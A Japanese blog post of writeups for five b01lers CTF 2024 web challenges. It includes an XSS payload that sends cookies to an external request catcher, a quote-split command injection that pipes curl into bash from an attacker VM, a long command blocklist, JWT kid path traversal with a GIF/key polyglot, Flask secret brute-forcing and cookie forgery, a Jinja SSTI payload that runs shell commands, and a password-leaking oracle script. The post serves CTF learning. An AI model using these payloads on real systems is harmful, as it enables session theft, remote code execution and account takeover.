はまやんはまやんはまやん

hamayanhamayan's blog

b01lers CTF 2024 Writeups

web/b01ler-ad

const content = req.body.content.replace("'", '').replace('"', '').replace("`", '');

'"`が使えない状態でXSSさせる問題。
それ以外の制約は特にないので、以下のようにscriptタグのソースで外部からjsを持ってきて使えばいい。
<script src=//c748-194-180-179-191.ngrok-free.app/a.js></script>
こんな感じにして、ngrokで以下のようなものを公開しておけばrequest catcherの方にcookieが飛ぶ。
fetch('https://afsiwek32k45owoawe.requestcatcher.com/test', { method : 'post', body: document.cookie })

web/3-city-elves-writeups

os.system(f"bash -c \'echo \"{content}\" > {filename}\'")

のcontentに文字を入れ込んでコマンドインジェクションをして、/flag.pngを抜いてくる問題。
以下の文字が禁止されている。

"bin","base64","export","python3","export","ruby","perl","x","/","(",")""\\","rm","mv","chmod","chown","tar","gzip","bzip2","zip","find","grep","sed","awk","cat","less","more","head","tail","echo","printf","read","touch","ln","wget","curl","fetch","scp","rsync","sudo","ssh","nc","netcat","ping","traceroute","iptables","ufw","firewalld","crontab","ps","top","htop","du","df","free","uptime","kill","killall","nohup","jobs","bg","fg","watch","wc","sort","uniq","tee","diff","patch","mount","umount","lsblk","blkid","fdisk","parted","mkfs","fsck","dd","hdparm","lsmod","modprobe","lsusb","lspci","ip","ifconfig","route","netstat","ss","hostname","dnsdomainname","date","cal","who","w","last","history","alias","export","source","umask","pwd","cd","mkdir","rmdir","stat","file","chattr","lsof","ncdu","dmesg","journalctl","logrotate","systemctl","service","init","reboot","shutdown","poweroff","halt","systemd","update-alternatives","adduser","useradd","userdel","usermod","groupadd","groupdel","groupmod","passwd","chpasswd","userpasswd","su","visudo","chsh","chfn","getent","id","whoami","groups","quota","quotaon","quotacheck","scp","sftp","ftp","tftp","telnet","ssh-keygen","ssh-copy-id","ssh-add","ssh-agent","nmap","tcpdump","iftop","arp","arping","brctl","ethtool","iw","iwconfig","mtr","tracepath","fping","hping3","dig","nslookup","host","whois","ip","route","ifconfig","ss","iptables","firewalld","ufw","sysctl","uname","hostnamectl","timedatectl","losetup","eject","lvm","vgcreate","vgextend","vgreduce","vgremove","vgs","pvcreate","pvremove","pvresize","pvs","lvcreate","lvremove","lvresize","lvs","resize2fs","tune2fs","badblocks","udevadm","pgrep","pkill","atop","iotop","vmstat","sar","mpstat","nmon","finger","ac","journalctl","ls","dir","locate","updatedb","which","whereis","cut","paste","tr","comm","xargs","gunzip","bunzip2","unzip","xz","unxz","lzma","unlzma","7z","ar","cpio","pax","ftp","sftp","ftp","wget","curl","fetch","rsync","scp","ssh","openssl","gpg","pgp"

この制約で色々やると''を使ったコマンド分割が有効であることが分かる。
ec''ho abc | cu''rl 34584921375821348972314.requestca''tcher.c''om --request PO''ST -d @-
が刺さった。

ここから死ぬほど試行錯誤して、最終的に以下で解いた。
conohaでいい感じにVMを借りてきて、80/tcpでwebサーバを立ち上げ、index.htmlを以下のようにしておく。

cp ../flag.png /app/assets/flag.png

つまり、そのまま持って来るのではなく、assetsに置くまでをコマンド実行する。
これはなぜかというと、flag.pngは14MBのクソデカフラグでいい感じに持って来るのがかなり大変であるためである。
これで適当にもらってきたIPアドレスを使って

`cu''rl [ipaddress] | ba''sh`

を実行する。これでindex.htmlの中身が実行されて、/flag.png/app/assets/flag.pngにコピーできる。
あとは、/static/flag.pngにアクセスしてフラグを回収する。

web/imagehost

フラグはadmin権限でログインできれば手に入る。
怪しい所を見ると、tokens.pyが怪しい。

def decode(token):
    headers = jwt.get_unverified_header(token)
    public_key = Path(headers["kid"])
    if public_key.absolute().is_relative_to(Path.cwd()):
        key = public_key.read_bytes()
        return jwt.decode(jwt=token, key=key, algorithms=["RS256"])
    else:
        return {}

kidを使って公開鍵を参照している。
試すとここはパストラバーサルできるので、任意のローカルの公開鍵を強制することができる。

他の部分を見るとアップロード機能がある。

async def upload(request):
    if "user_id" not in request.session:
        return PlainTextResponse("Not logged in", 401)
    
    async with request.form(max_files=1, max_fields=1) as form:
        if "image" not in form:
            return RedirectResponse("/?error=Missing+image", status_code=303)
        
        image = form["image"]
        
        if image.size > 2**16:
            return RedirectResponse("/?error=File+too+big", 303)
        
        try:
            img = Image.open(image.file)
        except Exception:
            return RedirectResponse("/?error=Invalid+file", 303)
        
        if image.filename is None or not image.filename.endswith(
            tuple(k for k, v in Image.EXTENSION.items() if v == img.format)
        ):
            return RedirectResponse("/?error=Invalid+filename", 303)
        
        await image.seek(0)
        filename = Path(image.filename).with_stem(str(uuid.uuid4())).name
        with UPLOAD_FOLDER.joinpath("a").with_name(filename).open("wb") as f:
            shutil.copyfileobj(image.file, f)
        
        async with request.app.state.pool.acquire() as conn:
            async with conn.cursor() as cursor:
                await cursor.execute(
                    "INSERT INTO images(filename, user_id) VALUES (%s, %s)",
                    (filename, request.session["user_id"])
                )
        
        return RedirectResponse("/", 303)

見るとアップロード物は画像としてpillowが判定する必要がある。
ということで、画像として読み込めて、public keyとしても使えるものをアップロードできれば良さそう。

openssl genrsa -out private_key.pem 4096 && openssl rsa -in private_key.pem -pubout -out public_key.pem

で使う鍵ペアを作って、小さいgif画像を用意し、cat small.gif public_key.pem > payload.gifのようにくっつけてやればいい。
アップロードすると、

<img src="/view/11241632-ac26-4489-9faa-2a2c0dc60207.gif" />

のようにファイル名を教えてもらえるので、それとprivate keyを使ってjwtを作る。

import jwt

token = jwt.encode(
    {"user_id": 1,"admin": True},
    open('private_key.pem', 'rb').read(),
    algorithm="RS256",
    headers={"kid": "../uploads/11241632-ac26-4489-9faa-2a2c0dc60207.gif"})
print(token)

これのjwtを使えばフラグ入りの画像がもらえる。

web/pwnhub

app.secret_key = hex(getrandbits(20))とあり、鍵が弱すぎる。

>>> hex(getrandbits(20))
'0xd1a52'
>>> hex(getrandbits(20))
'0x3da82'

全探索できますね。

.eJwlzjEOwjAMQNG7ZGZIYieOe5nKdmxRCRhaYEHcnUqMX_rD-6Q1dj-uaXnuL7-kdZtpScgCM-YgGqUQcgutjsxBRDzCC2bWrLl3tQpCVUWKOpxvxrBQ4TN0Oo0KGNAa0AwkE2VUqE1MQbv31g1wZstjIAColRwANZ2Q1-H7X-Pv7XaXR_r-ANeMMcI.Zhq4NQ.NjmMgXzBh752wVfYJENCJ9bIhBM

これを解析する。 以下のように辞書を作って

for i in range(0x100000):
    print(hex(i))

以下のように解析。

$ flask-unsign -c ".eJwlzjEOwjAMQNG7ZGZIYieOe5nKdmxRCRhaYEHcnUqMX_rD-6Q1dj-uaXnuL7-kdZtpScgCM-YgGqUQcgutjsxBRDzCC2bWrLl3tQpCVUWKOpxvxrBQ4TN0Oo0KGNAa0AwkE2VUqE1MQbv31g1wZstjIAColRwANZ2Q1-H7X-Pv7XaXR_r-ANeMMcI.Zhq4NQ.NjmMgXzBh752wVfYJENCJ9bIhBM" --unsign --wordlist ./dic.txt --no-literal-eval
[*] Session decodes to: {'_fresh': True, '_id': '49a3dfd8778117495fb2e499f77798fe1409b0b066bc23a72baa1be317404fcfba9e31bde78234f35537df47cab94b325acb3b6e656c34d0c0884333bc10f332', '_user_id': 'evilman'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 769664 attempts
b'0xbbe18'

鍵が分かったので作り直す。

$ flask-unsign --sign --secret '0xbbe18' --cookie "{'_fresh': True, '_id': '49a3dfd8778117495fb2e499f77798fe1409b0b066bc23a72baa1be317404fcfba9e31bde78234f35537df47cab94b325acb3b6e656c34d0c0884333bc10f332', '_user_id': 'admin'}" --no-literal-eval
.eJwlzjEOwzAIQNG7eO5gG2xMLhMBBjVDOyTNVPXujZTxS39437TG7sczLZ_99Edat5mWhCwwYw6iUQoht9DqyBxExCO8YGbNmntXqyBUVaSow_VmDAsVvkKn06iAAa0BzUAyUUaF2sQUtHtv3QBntjwGAoBayQFQ0wU5D99vjczX9k6_P3OZMN8.Zhtxag.glcjdVQTDK2M1VN8RBh2OtOUuR8

これでadminログインはできた。
後は、SSTIできる箇所があるので、フィルターを回避しながら頑張る。
postを作る所を見ると、

@app.post('/createpost', endpoint='createpost_post')
@login_required
def createpost():
    not None
    content = request.form.get('content')
    post_id = sha256((current_user.name+content).encode()).hexdigest()
    if any(char in content for char in INVALID):
        return render_template_string(f'1{"".join("33" for _ in range(len(content)))}7 detected' )
    current_user.posts.append({str(post_id): content})
    if len(content) > 20:
        return render_template('createpost.html', message=None, error='Content too long!', post=None)
    return render_template('createpost.html', message=f'Post successfully created, view it at /view/{post_id}', error=None)

のように入れてから文字数判定をしているので、エラーが出ても無視してポストを作成できる。
表示させるときは以下のようになっている。

@app.get('/view/<id>')
@login_required
def view(id):
    if (users[current_user.name].verification != V.admin):
        return render_template_string('This feature is still in development, please come back later.')
    content = next((post for post in current_user.posts if id in post), None)
    if not content:
        return render_template_string('Post not found')
    content = content.get(id, '')
    if any(char in content for char in INVALID):
        return render_template_string(f'1{"".join("33" for _ in range(len(content)))}7 detected')
    return render_template_string(f"Post contents here: {content[:250]}")

文字数の上限は実質250文字。
それよりもINVALIDによる文字制限が厳しい。

INVALID = ["{{", "}}", ".", "_", "[", "]","\\", "x"]

これを使わずにSSTIする。
とりあえず{% print config %}が動くのは確認できたので、/flag.txtを何とかとって来る。
頭を打ち付けて以下のような感じでフラグが得られた。
ベースは一瞬でできていたが、変な回り道をしてしまった。

import requests
from hashlib import sha256
import html

BASE = 'http://pwnhub.hammer.b01le.rs/'
session = '.eJwlzjEOwzAIQNG7eO5gG2xMLhMBBjVDOyTNVPXujZTxS39437TG7sczLZ_99Edat5mWhCwwYw6iUQoht9DqyBxExCO8YGbNmntXqyBUVaSow_VmDAsVvkKn06iAAa0BzUAyUUaF2sQUtHtv3QBntjwGAoBayQFQ0wU5D99vjczX9k6_P3OZMN8.ZhtTiQ.wi4Exyx1Z8qVmt6BBpWhSkpE28g'
payload = "{% print lipsum | attr(request|attr('referrer')) | attr(request|attr('mimetype'))('os') | attr('popen')('cat /flag*')|attr('read')() %}"

requests.post(BASE + 'createpost', cookies={'session':session}, data={'content':payload})

post_id = sha256(('admin'+payload).encode()).hexdigest()
t = requests.get(BASE + 'view/' + post_id, cookies={'session':session}, headers={
    'Referer': '__globals__',
    'Content-Type': '__getitem__'
}).text
print(post_id)
print(html.unescape(t))

web/b01lers_casino

怪しい所がないか探すと、ソート条件にpasswordが使われている変な部分が目に付く。

def fetchScoreboard():
    conn = sqlite3.connect("casino.db")
    cur = conn.cursor()
    cur.execute("SELECT fullname, password, balance, username FROM casino")
    scoreboard = cur.fetchall()
    
    # Convert list of tuples to list of dictionaries
    scoreboard_dicts = []
    admin_password = ""
    for row in scoreboard:
        fullname = row[0]
        if row[3] == "admin":
            admin_password = row[1]
        scoreboard_dicts.append({
            'fullname': fullname,
            'password': row[1],
            'balance': row[2]
        })
    # Sorting list of dictionaries
    scoreboard_sorted = sorted(scoreboard_dicts, key=lambda x: (x['balance'], x['fullname'], x['password']), reverse=True)
    print(f"Admin password is {admin_password}")
    for i in range (len(scoreboard_sorted)):
        print(scoreboard_sorted[i])
        if scoreboard_sorted[i]['password'] == admin_password:
            scoreboard_sorted[i]['fullname'] = "The Real Captain Baccarat"
    return scoreboard_sorted

adminの(balance, fullname, password)(1000000, "Captain Baccarat", admin_password)という感じ。
passwordの比較まで回すためには、balance, fullnameを一致させる必要がある。
fullnameは重複できるので、同じものを登録できる。
問題はbalanceで初期状態は500。
何処かで変えられないかなーと見てみるとPOST /slotsで変更可能。
パスワードもPOST /update_passwordで帰れるのでOK。二分探索とかをうまく使いながらadmin_passwordを特定する材料が揃った。

ということで以下のような二分探索コードでフラグが得られる。

import requests
import json

s = requests.Session()
BASE = 'https://boilerscasino-4ecd9eb8f0d2c3cb.instancer.b01lersc.tf/'

s.post(BASE + 'register', json={
    "fullname":"Captain Baccarat",
    "username":"evilman",
    "password":"ed202ac34dc1786fde390110ab1e4a5a13e0d80d0f7f2393a074b2a65ce3b559"
}, verify=False)
t = s.post(BASE + 'login', json={"username":"evilman","password":"ed202ac34dc1786fde390110ab1e4a5a13e0d80d0f7f2393a074b2a65ce3b559"}, verify=False).text
s.cookies["jwt"] = json.loads(t)['jwt']

s.post(BASE + 'slots', json={"change":999500}, verify=False)

lo = 0x0000000000000000000000000000000000000000000000000000000000000000
hi = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff

while lo + 1 != hi:
    md = (lo + hi) // 2
    p = '{:064x}'.format(md)

    s.post(BASE + 'update_password', json={"new_password":p}, verify=False)
    t = s.get(BASE + 'scoreboard', verify=False).text
    me = t.index('Captain Baccarat')
    you = t.index('The Real Captain Baccarat')
    if me < you:
        hi = md
    else:
        lo = md

print(lo)
print(hi)

for admin_password in [lo, hi]:
    ss = requests.Session()
    t = ss.post(BASE + 'login', json={"username":"admin","password":'{:064x}'.format(admin_password)}, verify=False).text
    if 'jwt' not in t:
        continue
    ss.cookies["jwt"] = json.loads(t)['jwt']
    print(ss.get(BASE + 'grab_flag').text)